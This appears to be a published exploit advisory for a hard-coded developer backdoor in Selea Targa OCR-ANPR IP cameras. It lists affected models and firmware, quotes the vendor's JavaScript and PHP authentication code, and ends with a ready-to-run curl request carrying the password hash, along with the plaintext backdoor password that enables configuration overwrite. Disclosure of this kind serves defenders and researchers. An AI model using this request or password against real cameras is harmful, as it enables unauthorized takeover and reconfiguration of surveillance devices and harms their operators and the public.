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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Selea Targa IP OCR-ANPR Camera - Developer Backdoor Config Overwrite
# Date: 07.11.2020
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.selea.com

Selea Targa IP OCR-ANPR Camera Developer Backdoor Config Overwrite


Vendor: Selea s.r.l.
Product web page: https://www.selea.com
Affected version: Model: iZero
                         Targa 512
                         Targa 504
                         Targa Semplice
                         Targa 704 TKM
                         Targa 805
                         Targa 710 INOX
                         Targa 750
                         Targa 704 ILB
                  Firmware: BLD201113005214
                            BLD201106163745
                            BLD200304170901
                            BLD200304170514
                            BLD200303143345
                            BLD191118145435
                            BLD191021180140
                            BLD191021180140
                  CPS: 4.013(201105)
                       3.100(200225)
                       3.005(191206)
                       3.005(191112)

Summary: IP camera with optical character recognition (OCR) software for automatic
number plate recognition (ANPR) also equipped with ADR system that enables it to read
the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
this camera suitable for all installation conditions. Its built-in OCR software works
as an automatic and independent system without the need of a computer, thus giving
autonomy to the device even in the event of an interruption in the connection between
the camera and the operations centre.

Desc: There is a hard-coded password for a hidden and undocumented /dev.html page that
enables the vendor to enable configuration upload / overwrite to the affected device
using the checkManufacturer() function through an AJAX method.

======================================================================================
/dev.html:
----------
...
...
    function checkManufacturer(){
        var manufacturer=$.cookie('manufacturer');
        if (manufacturer){ $('#set_manufacturer').val('Disable manufacturer'); $('#dev_page').show(); $('#config_restore').show(); }
        else{ $('#set_manufacturer').val('Enable manufacturer'); $('#dev_page').hide(); $('#config_restore').hide();}
    }
    checkManufacturer();
    function setMsg(msg){$('#dev_msg').html(msg); setTimeout(function(){$('#dev_msg').html("");},5000)};
    $('#set_manufacturer').click(function(){
        var manufacturer=$.cookie('manufacturer');
        if (manufacturer){ $.cookie('manufacturer',null); location.reload(); }
        else{
            $.ajax({
                url: "/cgi-bin/utils.php?cmd=DEVPASS&pwd="+md5($('#dev_pwd').val()),
                timeout: 2000,
                cache:false,
                mimeType: 'text/plain'
            }).done(function(result){
                try{
                    var info=$.parseJSON(result);
                    if (info.auth=="OK"){ 
                        setManufacturerTimeout(); 
                        location.reload();
...
...

/cgi-bin/utils.php:
-------------------
...
...
$cmd=$_GET["cmd"];

if ($cmd=="DEVPASS"){
    $pwd=$_GET["pwd"];

    $info=new StdClass();
    $info->auth=($pwd==md5("Selea781830"))?"OK":"ERROR";

    print(json_encode($info, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK | JSON_PRETTY_PRINT));
    exit();
}
...
...

======================================================================================

Tested on: GNU/Linux 3.10.53 (armv7l)
           PHP/5.6.22
           selea_httpd
           HttpServer/0.1
           SeleaCPSHttpServer/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5615
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5615.php


07.11.2020

--


$ curl http://192.168.1.17/cgi-bin/utils.php?cmd=DEVPASS&pwd=4654fa64de66a5ff0befde3c0203817b
{ "auth": "OK" }

OR

Navigate to /dev.html and enter password: Selea781830, enable config upload.